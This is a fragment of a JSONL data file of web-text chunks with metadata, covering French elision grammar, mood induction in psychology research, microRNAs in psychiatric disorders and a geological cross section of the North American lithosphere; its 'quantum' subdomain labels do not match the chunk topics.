to a feminine noun. however, when the article is followed by a word that begins with a vowel, the pronoun is always elided to l '. the form l ' exists for both genders. this elision is also done when le or la is a definite article : le matin, la nuit, l ' apres - midi. it is also done when le or la is part of a partitive article : du pain, de la confiture, de l ' eau. now let ' s suppose the verb didn ' t start with a vowel : \u201c je viens de le vendre \u201d. why don ' t we say \u201c je viens on the other hand, there is no contraction when de and le happen to be next to each other but they do not form a single unit. here, de is part of the verbal compound venir de and le is a personal pronoun which forms a complement of this verb. there is no contraction when le is a pronoun : \u201c je viens de le vendre \u201d. you are right about the vowel part, consider these two examples : however, in your example the words \" de \" and \" l ' \" are not linked at all, so you can ' t replace them by \" du \". consider these two examples : here \" de \" isn ' t quantitative but is used to introduce another subsentence, here \" manger \". so they have no relation, and you can ' t say, for example : but you need to say :", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4641352904190843, "token_count": 433, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.978459"} {"text": "as a teenager i spent hours in my room listening to arch - miserabilist pop band the smiths. i felt they really understood my teenage angst, and my love for them withstands even david cameron \u2019 s unrepentant fandom and morrissey \u2019 s regular and unsavory announcements. we spend a lot of time and money trying to feel good, but there is also a pleasure in the melancholy that listening to every smiths \u2019 song played back to back can engender. alongside teenagers, researchers use various experimental methods for inducing mood states. these are often used in studies which aim to investigate the correlation between mood and neurological function. self referential statements one of the first mood induction procedures was the velten mood induction procedure. subjects read aloud self - referent statements, which progress from the relatively neutral to those associated with either a negative or positive mood. example of questions \u2013 this site suggests that the velten mood induction procedure should be used as a form of \u201c guided meditation \u201d. music can arouse deep emotions in the listener. the majority of studies use classical music, but a wide variety of musical pieces is used to experimentally induce mood states. this paper lists music used in forty - one music mood induction procedure studies. the authors find that most musical pieces are used in one study only, but find twelve studies that use delibes coppelia to induce happy or elated moods. no mention of the smiths. habitual cinema - blubbers will not be surprised that requesting participants to watch movie clips is a common way to manipulate moods experimentally. in a 2008 study positive mood was induced by participants watching a 10 minute excerpt from a british comedy series ( the actual series itself is not identified alas \u2013 monty python? ). neutral mood induction involved an excerpt from a nature documentary, and negative mood was brought about by an excerpt from a film about dying from cancer. according the many authors film and music based mood induction is the most effective. another technique is to use verbal feedback. this 2008 study asked participants to complete a series of anagrams and then report their answers through an intercom system. to induce a negative mood state they received insults in return. after the 4th anagram, the experimenter said : \u201c look, i can barely hear you. i need you to speak louder please. \u201d after the 8th anagram, the experimenter said in a louder and more frustrated voice : \u201c hey, i still need you to speak louder. \u201d after the 12th anagram,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5607204542863938, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.983066"} {"text": "can barely hear you. i need you to speak louder please. \u201d after the 8th anagram, the experimenter said in a louder and more frustrated voice : \u201c hey, i still need you to speak louder. \u201d after the 12th anagram, the experimenter said in a very frustrated voice : \u201c look, this is the third time i \u2019 ve had to say this! can \u2019 t you follow directions? speak louder! forming mental images / autobiographical recall. this approach can use emotionally charged sentences, with subjects asked to try and experience the affective state they would feel if the situation were real. \u201c imagine that you just won the lottery and you will have all the money you could ever want \u201d ( paper ) ( these lottery winners are in the lucky situation of not having to use their imagination ). in a similar approach participants were instructed to write a short essay about an event they experienced that provoked specific feelings such as anger or sadness. combining methods and effectiveness the most effective mood induction procedures may combine two procedures in the belief that multiple interactions contribute additively to mood. one type of induction occupies the foreground attention, whilst the other forms the background atmosphere. so, for example the velten mood induction procedure has been combined with music mood induction. the effectiveness of mood induction procedures is questioned by some authors, who dispute whether they can produce moods of sufficient intensity. another debate concerns whether the results of experiments using mood induction result from the expectations that the protocol induces in participants, rather than because of the induced mood per se ( demand characteristics ).", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5525503905744289, "token_count": 311, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.984209"} {"text": "a growing understanding of the role micrornas ( mirnas ) play in brain development and function and in synaptic plasticity, combined with the recognition that a single mirna can regulate the expression of multiple genes across networks of biochemical pathways, is fueling interest in mirnas as targets for intervening in psychiatric disorders. at the recent society for neuroscience annual meeting in washington, d. c., researchers presented studies evaluating the association between mirna dysregulation, neurodevelopment, schizophrenia risk, and anxiety disorders. schizophrenia and bipolar disorder each affect about 1 % of the population in the u. s., costing more than $ 100 billion / year and taking a high toll on families of affected individuals. although both disorders tend to have high heritability, they are not strictly genetic diseases and disease development may depend on a complex interplay between genes and environmental triggers. further complicating the picture, both diseases involve dysregulation of multiple signaling pathways ; additionally, different molecular aberrations can result in a similar phenotype. the predominant mechanism by which a mirna silences a target gene in mammals is through post - transcriptional regulation, preventing a strand of messenger rna ( mrna ) from being translated into a protein. claes wahlestedt, m. d., ph. d., professor of psychiatry and behavioral sciences, miller school of medicine, university of miami, described mirnas as \u201c master regulators \u201d due to the ability of a single mirna to target hundreds of mrnas and the emerging consensus that mirnas regulate more than half of all protein - coding genes. this regulatory layer \u201c may account for some of the missing genetic / epigenetic variability in the etiology of psychiatric disease, \u201d he said. at present, the most significant known risk factors for schizophrenia are copy number variations ( cnvs ), with the 22q11 deletion being the most common. it is present in about 1 in 4, 000 people and in 1 % of people with schizophrenia. most cases of 22q11 deletion syndrome ( ds ) involve a de novo deletion, typically about 3 million base pairs in size, and are not inherited. the disorder has variable presentations and individuals carrying the deletion have about a 25 % risk of developing schizophrenia. included in the 22q11 deletion is the dgcr8 gene, which has a key role in the biogenesis and maturation of mirnas to their mature, shortened form. linda brzu", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5252741355344975, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.993994"} {"text": "a 25 % risk of developing schizophrenia. included in the 22q11 deletion is the dgcr8 gene, which has a key role in the biogenesis and maturation of mirnas to their mature, shortened form. linda brzustowicz, m. d., professor, department of genetics, rutgers university, introduced the concept of canalization, which refers to the robustness of a trait or phenotype and the ability of a phenotype to be expressed regardless of genotypic or environmental variability. she proposed that \u201c mirnas may be a mechanism of canalization. \u201d the fact that schizophrenia does not develop in about 75 % of people with 22q11 - ds may be attributable to the increased capacity of canalized traits to absorb mutational variance. dr. brzustowicz presented a model in which 22q11 - ds results in dgcr8 haplotype insufficiency, which perturbs the mirna regulatory system, allowing previously silenced regulatory mutations to alter gene expression. dgcr8 mutations result in a reduction in one or more subsets of mirna, with the consequence of increased gene expression. by determining which mirnas are reduced in the brains of patients with 22q11 - ds and applying the canalization hypothesis, it may be possible to predict which genes are likely to have increased expression and to have a role in the development of schizophrenia. maria karayiorgou, m. d., professor of psychiatry at columbia university, is also studying 22q11 mutations, and specifically the 22q11. 2 microdeletion. dr. karayiorgou uses a mouse model of 22q11 cnvs, characterized by deletions on mouse chromosome 16 that correlate to 22q11 cnvs in humans. she applies behavioral assays to study cognitive deficits and has reported deficits in spatial working memory tasks indicative of decreased working memory capacity. these behavioral deficits are associated with dgcr8 deficiency in dgcr8 knockout mice. the 22q11. 2 microdeletion does not appear to affect basal synaptic transmission in mice, but it may affect the activity of neuronal networks in the prefrontal cortex. the mutated mice exhibited reduced synaptic memory in this region of the brain. dr. karayiorgou concluded that mirna dysregulation likely contributes to the cognitive impairment seen in the mouse model by altering short - term synaptic plasticity. a presentation by", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5474216349665575, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:12.998646"} {"text": "ph. d., university of helsinki, looked at differences between inbred mouse strains as a means of studying mrna and mirna networks and defining mechanisms that regulate genes associated with anxiety disorders. dr. hovatta presented data on mirna expression in various brain regions, including the prefrontal cortex, hippocampus, and hypothalamus, and identified anticorrelations between mirna and mrna pathways. as expression of a mirna increases, expression of its target mrna decreases. an unbiased genome - wide screen led to the identification of 69 mirnas with expression levels that correlated with anxiety - like behavior. the researchers used pathway analysis to predict their target mrnas and the gene - regulatory networks that control anxiety in mice. schahram akbarian, m. d., ph. d., associate professor of psychiatry, university of massachusetts medical school, described \u201c neural epigenomes in developing and diseased prefrontal cortex. \u201d epigenomic mapping studies, with a focus on hydroxymethylation of cytosine, have identified more than 100 site - specific covalent modifications affecting nucleosome core histone proteins that are important for normal brain development. as part of the brain epigenome project at umass medical school, researchers have studied more than 80 billion base pairs of dna from nucleosomes derived from neurons in the prefrontal cortex. a comparison of 15 epigenomes identified differences between neuronal and non - neuronal epigenomic signatures.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5362086159884064, "token_count": 312, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.001558"} {"text": "full text view the big picture : a lithospheric cross section of the north american continent | table of contents | | pdfs of supplemental insert for download | search googlescholar for search gsa today a lithospheric cross section constructed within a 6000 - km - long corridor across southern canada and its margins at 45 \u2013 55\u00b0n illuminates the assembly of the north american continent at an unprecedented scale. based on coordinated, multidisciplinary research, the profile emphasizes lithospheric - scale relationships between orogens \u2014 plate collisions and accretions have sequentially stacked orogen upon orogen such that the older crust forms basement to the next younger. this large - scale perspective highlights the similarities among crustal structures produced by orogenic processes despite the broad range of age from the mesoarchean to the present. heterogeneities in the lithospheric mantle suggest that, in certain situations, relict subducted or delaminated lithosphere can remain intact beneath, and eventually within, cratonic lithospheric mantle. in contrast, the dominantly subhorizontal moho appears to be re - equilibrated through mechanical and / or thermal processes ; few crustal roots beneath orogens are preserved. manuscript received 31 mar. 2010 ; accepted 12 dec. 2010 a unique cross section of the north american continent represents a synthesis of more than two decades of coordinated research conducted by lithoprobe, canada \u2019 s national geoscience project. based on existing interpretations within eight study regions, or transects, that are linked directly or by projection along strike, we have constructed a transcontinental lithospheric profile ( fig. 1 and poster insert 1 ). from west to east, this 6000 - km profile crosses the juan de fuca oceanic plate, the active cascadia subduction zone, the southern cordillera ( 0. 19 ga \u2013 present ), the alberta and trans - hudson orogens ( 1. 92 \u2013 1. 8 ga ), the superior province ( 3. 82 \u2013 2. 60 ga ), the mid - continent rift system ( 1. 1 \u2013 1. 0 ga ), the grenville orogen ( 1. 19 \u2013 0. 99 ga ), the newfoundland appalachian orogen ( 0. 47 \u2013 0. 28 ga ), the grand banks continental shelf, and the atlantic passive margin ( 0. 2 ga ). the diversity of tectonic history and ages included in the section", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5286947215486475, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.031815"} {"text": "ga ), the newfoundland appalachian orogen ( 0. 47 \u2013 0. 28 ga ), the grand banks continental shelf, and the atlantic passive margin ( 0. 2 ga ). the diversity of tectonic history and ages included in the section facilitates direct comparison of the secular and spatial variation of orogenic processes. data and interpretations are based on coordinated multidisciplinary research combined with a strong, steadily improving base of regional geotectonic knowledge. the structures displayed are primarily based on active - source seismic ( reflection and refraction ) data. however, the regional geometry and interpretations of the structure and tectonic processes utilize the full array of geological, geochemical, and geophysical data available for that region. appendix 1 ( see gsa \u2019 s supplemental data repository 2 ) summarizes how the cross section was constructed. a complete listing of references used to construct the cross section is provided in appendix 2 ( see footnote 2 ). in addition, hammer et al. ( 2010 ) provide an in - depth description and two complementary lithospheric cross sections. the cross section is portrayed in terms of the \u201c tectonic age \u201d within the crust. we define this as the time since the most recent episode of significant tectonic deformation ( fig. 1 and insert [ see footnote 1 ] ). tectonic age was chosen over more typical designations ( e. g., geology or terranes / domains ) because it simplifies the interpreted cross section to highlight comparative structures and to convey the sequence of orogenic development based on the current structural interpretations. in some areas, we chose to modify the tectonic age designations in order to convey key aspects of structure as well as the sequence of orogenic development based on current structural interpretations. for example, the archean sask, hearne, and superior continents were welded together in the paleoproterozoic trans - hudson orogen ( 1. 92 \u2013 1. 80 ga ), yielding the core of the laurentian craton. the largely unexposed sask craton, discovered by lithoprobe seismic studies ( e. g., lucas et al., 1993 ; lewry et al., 1994 ; hajnal et al., 2005 ), lies almost entirely beneath juvenile crustal imbricate structures. although the sask craton dates to 2. 45 \u2013 3. 3 ga, the lithospheric fragment was likely deformed by the paleoproterozoic orogeny. however, to clarify", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5551054781561922, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.032870"} {"text": "crustal imbricate structures. although the sask craton dates to 2. 45 \u2013 3. 3 ga, the lithospheric fragment was likely deformed by the paleoproterozoic orogeny. however, to clarify its role in the assembly of laurentia, we have chosen to label it with an archean tectonic age but stippled to indicate paleoproterozoic modification. similar display procedures have been applied in other parts of the lithospheric cross section. location of transcontinental corridor ( yellow lines ) on a simplified tectonic age map of northern north america. tectonic age is defined as the time since the most recent episode of tectonic deformation. red arrows show along - strike offsets linking profile segments. the interpreted cross section incorporates earth curvature and is displayed using a vertical exaggeration of 2 : 1. at this scale, features are difficult to identify ; see insert ( text footnote 1 ) for a 1 : 1 version extended to full lithospheric depth. results from the trans - hudson orogen ( tho ) transect. ( a ) simplified tectonic element map and interpretation across the orogen on the front face. ffb \u2014 flin flon belt ; hl \u2014 hanson lake block ; lrb \u2014 la ronge belt ; rd \u2014 rottenstone domain. inset location map includes yellow lines that outline the bounds of the tho. ( b ) simplified interpretation based on geological, near - vertical incidence ( nvi ) reflection, refraction / wide - angle reflection ( r / war ), and magnetotelluric studies. the archean sask craton is a previously undiscovered microcontinent separate from either the hearne to the west or the superior to the east. bar at top identifies the different domains crossed by the section. wb \u2014 wathaman batholith ; nacp \u2014 north american central plains conductivity anomaly ; orange ovals identify regions of high conductivity from interpretation of magnetotelluric ( mt ) results shown in d. ( c ) depth - migrated seismic section. pink dashed lines show interpreted crustal domain boundaries or prominent structures ( adapted from white et al., 2005 ). ( d ) resistivity model derived from mt surveys ( adapted from jones et al., 2005a ). very low resistivity at 160 km is the nacp. white dashed lines show interpretation from reflection data. ( e ) interpreted velocity model across the tho ( adapted from", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5450018923349434, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.034206"} {"text": "model derived from mt surveys ( adapted from jones et al., 2005a ). very low resistivity at 160 km is the nacp. white dashed lines show interpretation from reflection data. ( e ) interpreted velocity model across the tho ( adapted from nemeth et al., 2005 ). solid lines, including the moho, identify locations from which wide - angle reflections were identified. dashed lines are iso - velocity contours. numbers are p - wave velocities in km / s. circled numbers show velocities in a direction perpendicular to the plane of the figure, thus indicative of velocity anisotropy. stippled area in the mantle identifies the limited region showing velocity anisotropy. orogenic crustal structures a first - order observation from the interpreted cross section is that, despite the wide range of age, geometry, and complexity of the many orogens crossed, there is a remarkable similarity in orogenic style. the orogens are doubly vergent and exhibit a stacked or wedged form that is indicative of the thermal and compositional state of the orogen as it formed and, in some cases, of post - orogenic processes. the preserved collisional zones exhibit structures that fall into three categories : ( 1 ) subcretion ( mechanical underplating ), as is observed in subduction / accretion zones ( e. g., southwestern cordilleran orogen ) ; ( 2 ) tectonic wedging with either the overriding crust ramping up a full crustal - scale decollement from the moho ( e. g., the eastern cordilleran, grenville, and trans - hudson orogens ; insert [ see footnote 1 ] and fig. 2 ) ; or ( 3 ) mid - crustal wedging ( e. g., the appalachian and superior orogens ). subcretion of small terranes and sediments in a subduction zone ( e. g., ellis and beaumont, 1999 ) is imaged within the southwestern cordilleran orogen, and remnants of these types of structures are interpreted to be trapped within virtually all of the older orogens. moore and wiltschko ( 2004 ) show that although the crust - mantle boundary is the natural interface for syncollisional delamination, intracrustal delamination will take place if a mafic lower crust is eclogitized, providing sufficient density contrast to subduct or subcrete the lower crust with its lit", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5629957010922263, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.035194"} {"text": "for syncollisional delamination, intracrustal delamination will take place if a mafic lower crust is eclogitized, providing sufficient density contrast to subduct or subcrete the lower crust with its lithospheric mantle. this provides a mechanism for the obduction of thin slivers or accreted terranes. archean cratons and their boundaries contain structures that are very similar to those observed in proterozoic and phanerozoic orogens. this leads to the conclusion that fundamental tectonic processes in the neoarchean were similar to those in present - day plate tectonics and provides geometric data that are inconsistent with large - scale gravity driven overturn of the crust ( e. g., van der velden et al., 2006 ). magmatism related to subduction, post - orogenic extension, or orogenic collapse does not dominate the cross sections. although intrusions are detected in the upper crust ( generally as poorly reflective zones ), the passage of large volumes of melt apparently does not destroy the gently dipping structures in the mid - lower crust. examples of this can be found in many regions, including the southeastern superior province ( inset c on insert [ see footnote 1 ] ) and in the newfoundland appalachians ( insert ). this requires that the conduits are ( a ) offset from the two - dimensional seismic profiles ; ( b ) narrower than the seismic data can resolve ; or ( c ) overprinted by postmagmatic deformation ( e. g., van der velden et al., 2004 ). the preserved structures document the integrated orogenic effects, although these are often dominated by late deformation sequences. this overprinting complicates the structure and makes interpretation challenging, particularly in situations such as the reversal of subduction polarity ( e. g., eastern trans - hudson orogen ) or where an internal zone is caught between colliding continents ( e. g., trans - hudson, appalachian, and grenville orogens ). however, interpretations of orogenic structures may be improved or validated when geological, geochemical, and geophysical studies for a given orogen are combined with geodynamic modeling applied to test hypotheses directly against the multidisciplinary data for that orogen ( e. g., beaumont and quinlan, 1994 ; beaumont et al., 2010 ). the moho, crustal thickness, and the crust -", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.521355615911915, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.036241"} {"text": "test hypotheses directly against the multidisciplinary data for that orogen ( e. g., beaumont and quinlan, 1994 ; beaumont et al., 2010 ). the moho, crustal thickness, and the crust - mantle transition more than 20, 000 km of seismic profiling in canada reveals that, although there are variations in moho depth, the transition remains remarkably flat ( ~ 33 \u2013 43 km deep ) despite the great diversity of overlying crustal properties ( topography, age, composition, and degree of exhumation ) ( e. g., cook et al., 2010 ; hammer et al., 2010 ). small excursions ( < 5 km ) in moho depth are observed in many locations. these often correlate with geotectonic boundaries but not with topography. in contrast, large crustal roots are unusual, even beneath much of the canadian cordillera. crustal roots extending down 60 \u2013 70 km are well documented beneath the active himalaya and andean orogens. however, despite superb preservation of crustal structure in the lithoprobe transects, few crustal roots associated with collisional tectonics were imaged ; three are within the transcontinental profile. the sask craton ( trans - hudson orogen, 1. 92 \u2013 1. 80 ga ) has a root that extends to 52 km depth, bulging 14 \u2013 20 km below the adjacent crust ( fig. 2 and insert [ see footnote 1 ] ). a second, smaller root ( 47 km maximum depth adjacent to ~ 40 - km - thick crust ) lies beneath the grenville front ( 1. 19 \u2013 0. 99 ga ; see insert ). the metamorphic grade of exposed rock in the region suggests the crust was thickened up to 70 km ( e. g., carr et al., 2000 ) ; the observed root is interpreted to have been preserved by eclogitization ( e. g., eaton, 2005 ). some orogens are thermally supported and do not form a root. for example, the majority of the canadian portion of the phanerozoic cordilleran orogen exhibits a shallow ( 33 \u2013 36 km depth ) and exceptionally flat moho. only beneath the easternmost cordillera does the crust thicken to 45 \u2013 50 km ( see insert ). therefore, the lithoprobe dataset indicates that crustal roots are not always formed beneath orogens and, if there is crustal thick", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5355489546550102, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.037517"} {"text": "the easternmost cordillera does the crust thicken to 45 \u2013 50 km ( see insert ). therefore, the lithoprobe dataset indicates that crustal roots are not always formed beneath orogens and, if there is crustal thickening, the roots are not commonly preserved. syn - or post - orogenic re - equilibration of the moho must therefore be a widespread process. the preservation of orogenic roots may be associated with the relative lack of post - orogenic heating ( e. g., the trans - hudson orogen ; white et al., 2005 ). in contrast, the relatively uniform crustal thickness throughout most of canada indicates that either ( a ) thick crustal roots are not commonly formed beneath orogens ( e. g., obduction of thin terranes [ cordillera ] or weak continental lithosphere during orogeny ) ; or ( b ) the moho has been reset to a shallower, roughly subhorizontal boundary. re - equilibration could occur through mechanical ( shear, extension, delamination ) and / or thermal ( metamorphism, partial melting ) processes ( e. g., eaton, 2005 ; cook et al., 2010 ). finally, it remains possible that in some situations, the moho and the base of seismic reflectivity do not represent the petrologic crust - mantle boundary. eclogitization of the lower crust could yield rock that is seismically indistinguishable from other mantle. in that case, the moho, representing an eclogitic metamorphic front, would be shallower than the petrologic crust - mantle boundary ( e. g., cook and vasudevan, 2003 ; moore and wiltschko, 2004 ; eaton, 2005 ). a second scenario could occur in a subduction setting where fluids and associated serpentinization may reduce mantle velocities such that the petrologic base of the crust may be shallower than the moho indicates. this possibility has led to debate over the depth of the subducting juan de fuca plate beneath northern cascadia ( inset a on insert [ see footnote 1 ] ). recent teleseismic analyses ( nicholson et al., 2005 ; bostock et al., 2010 ) position the plate boundary where several different active source seismic studies ( e. g., clowes et al., 1987 ; hyndman et al., 1990 ; ramchandran", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5173625953394583, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.039056"} {"text": "., 2005 ; bostock et al., 2010 ) position the plate boundary where several different active source seismic studies ( e. g., clowes et al., 1987 ; hyndman et al., 1990 ; ramchandran et al., 2006 ; calvert et al., 2006 ) have consistently interpreted a zone of lower crustal reflectivity associated with a combination of shear, fluids, and accretionary duplexing. this conflict remains unresolved and has implications for understanding the earthquake dynamics in the region. heterogeneity in the upper mantle heterogeneity in the upper mantle is observed in three forms : ( 1 ) crustal structures penetrating into the mantle ; ( 2 ) seismic wave scattering that may be indicative of compositional variation ; and ( 3 ) seismic anisotropy ( e. g., clowes et al., 2010 ). in the majority of orogens, reflection data display structures dipping from the crust into the uppermost mantle ( e. g., van der velden and cook, 2005 ). these reflections are consistent with collisional geometries and are interpreted as subducted or subcreted lithosphere preserved beneath and eventually within cratonic lithospheric mantle. in some cases, reflections are spectacular, with relict subducted crust well - defined to 35 \u2013 50 km beneath the moho ( e. g., calvert et al., 1995 ; inset c on insert [ see footnote 1 ] ). a comparable but even more extensive structure was imaged by reflection ( e. g., cook et al., 1999 ) and refraction ( oueity and clowes, 2010 ) data and by teleseismic receiver functions ( mercier et al., 2008 ) beneath the wompay orogen ( 1. 84 \u2013 1. 88 ga ) in northwestern canada. more commonly observed are dipping lower crustal reflections that penetrate ~ 5 km beneath the moho, linking directly to crustal reflections above which are associated with mid - crustal delamination ( e. g., western superior [ inset b on insert ] and appalachian orogens ) or full - crustal decollements ( e. g., trans - hudson orogen ; fig. 2 and insert ). virtually all of the preserved subduction / subcretion reflections dip beneath the older cratonic crust, suggesting that mantle reflections are more likely to be preserved beneath older domains or that, during final", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5425914979673445, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.039966"} {"text": "hudson orogen ; fig. 2 and insert ). virtually all of the preserved subduction / subcretion reflections dip beneath the older cratonic crust, suggesting that mantle reflections are more likely to be preserved beneath older domains or that, during final phases of accretion, subduction preferentially dips beneath the craton. in many cases, long - offset refraction / wide - angle seismic profiles ( e. g., nemeth et al., 2005 ; clowes et al., 2010 ), teleseismic studies ( e. g., bostock et al., 2010 ), and magnetotelluric ( mt ) investigations ( e. g., jones et al., 2005a ; craven et al., 2001 ) show evidence for significant structure and / or anisotropy within the subcrustal lithosphere. the structures vary in scale from those that are tens to hundreds of kilometers in lateral extent and are identified on a deterministic basis ( e. g., traveltime modeling of refracted or wide - angle reflected phases, receiver function analyses, and inversion of mt data ) to fine - scale heterogeneities on the scale of tens of kilometers to less than a kilometer ( e. g., clowes et al., 2010 ). thickness of the lithosphere estimates of lithospheric thickness vary depending on the technique used ( artemieva, 2009 ). to be consistent across the cross section, recent syntheses by artemieva ( 2009 ) and sha - piro and ritzwoller ( 2002 ) were used ( insert [ see footnote 1 ] ). however, many other observations carried out along or near the corridor constrain lithospheric thickness. these include teleseismic studies ( e. g., bostock et al., 2010 ), xenolith and deep volcanic studies ( e. g., abraham et al., 2005 ), geodynamic modeling ( e. g., perry and forte, 2010 ), magnetotelluric profiles ( e. g., jones et al., 2005b ), and wide - angle reflection studies ( e. g., clowes et al., 1995 ). although the constraints on lithospheric thickness are not always strong, the lithosphere is very thin ( 55 \u2013 70 km ) beneath the cordillera, thickens to about 200 km", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5293225331935376, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.040867"} {"text": "clowes et al., 1995 ). although the constraints on lithospheric thickness are not always strong, the lithosphere is very thin ( 55 \u2013 70 km ) beneath the cordillera, thickens to about 200 km beneath the alberta and trans - hudson orogens, to 250 \u2013 270 km beneath the superior craton, and then thins eastward beneath the appalachians and atlantic margin ( insert ). conclusions : a look forward the continental - scale lithospheric cross section provides a unique perspective on four billion years of crustal assembly, recycling, and reorganization. the cross section presented here is one \u201c slice \u201d through the north american continent at one geologic time \u2014 today. because it traverses orogens that span a large fraction of earth \u2019 s history, it may provide a representative view of the geometry of orogenic evolution through time. in addition, the continent - wide scale of the cross section offers an opportunity to formulate questions that may not be apparent on much smaller scales, such as within a single orogen. a few such thoughts are presented here : - the moho is remarkably flat even in regions with substantial structural relief ( 10 + km ) within the crust. this likely resulted from late to post - orogenic heating, but the uniformity of depth ( 33 \u2013 43 km ), with a few exceptions as noted previously, is surprising and deserving of more thorough investigation. - orogenic structures appear to have been formed by horizontal tectonic forces in all of the orogens of canada, regardless of age. this is strong evidence that some form of plate tectonism has been operating throughout the past 2. 5 \u2013 3. 0 ga of earth \u2019 s history ( e. g., van der velden et al., 2006 ). furthermore, because orogens are commonly \u201c stacked, \u201d with older orogens forming the basement to younger orogens, continental evolution in canada appears to have been dominated by recycling, with minimal crustal growth. how such recycling occurred ( e. g., whether some crustal material ended up in the lower lithosphere, whether it proceeded to deeper in the mantle, or whether both occurred ) remains a target for future research. - complexity in the subcrustal lithosphere is increasingly revealed by multidisciplinary studies. for example, imbricated or stacked mantle lithosphere, as proposed by cook ( 1986 ) and helmstaedt and schulze ( 1989 ), was interpreted from seismic data (", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5112374441904887, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.041969"} {"text": "increasingly revealed by multidisciplinary studies. for example, imbricated or stacked mantle lithosphere, as proposed by cook ( 1986 ) and helmstaedt and schulze ( 1989 ), was interpreted from seismic data ( e. g., cook et al., 1998, 1999 ) and later affirmed by studies of mantle xenoliths ( e. g., canil, 2008 ). in a different setting, frederiksen et al. ( 2007 ) use teleseismic and magnetotelluric methods to demonstrate a stratified lithospheric mantle beneath the grenville front ( inset b on insert [ see footnote 1 ] ). geodynamic modeling ( e. g., beaumont et al., 2010 ) illuminates how lithospheric structure and crust - mantle relationships can develop through changing crustal coupling, slab breakoff, post - convergent extension, and other orogenic processes. despite the successes, the internal structure of the lithospheric mantle remains difficult to image, largely due to its seismic homogeneity. it is uncertain, for example, whether seismic anisotropic effects ( e. g., clowes et al., 2010 ; insert ) are related to structural variations, such as imbricates, or whether they may be a consequence of preferred crystal orientations, as with c - axis orientation of orthorhombic olivine. the lithoprobe dataset indicates that combining active - source seismic experiments with passive seismic and magnetotelluric studies and deep geological sampling over the same regions may resolve some of the uncertainties. advancing our understanding of lithospheric processes and the structures they create requires a research approach that integrates all applicable earth - science disciplines. lithoprobe \u2019 s success as a project and in generating the detailed continental lithospheric cross section was possible because of its scientific approach, which involved focusing multidisciplinary studies in selected areas of investigation. as a project - and continent - scale synthesis of over two decades of research, this paper pulls together the superb work done by hundreds of researchers. a detailed reference listing of the publications contributing to the cross section is provided in the data repository ( see text footnote 2 ). we thank all of the researchers who made lithoprobe a success and whose work contributes to this synthesis. journal reviewer peter cawood provided highly constructive comments that better focused the content of the paper. lit", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5465466092308652, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.042874"} {"text": "repository ( see text footnote 2 ). we thank all of the researchers who made lithoprobe a success and whose work contributes to this synthesis. journal reviewer peter cawood provided highly constructive comments that better focused the content of the paper. lithoprobe \u2019 s primary funding agencies were the natural sciences and engineering research council ( nserc ) and the geological survey of canada ; however, many other sources of funds and support were provided by a wide range of organizations \u2014 we thank them all. support for preparation of this paper derived from an nserc discovery grant to r. m. clowes. earlier versions of the lithospheric cross sections benefited from support through an nserc discovery grant to f. a. cook. - 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calvert, a. j., rama", "subdomain_id": "subdomain_quantum_gravity", 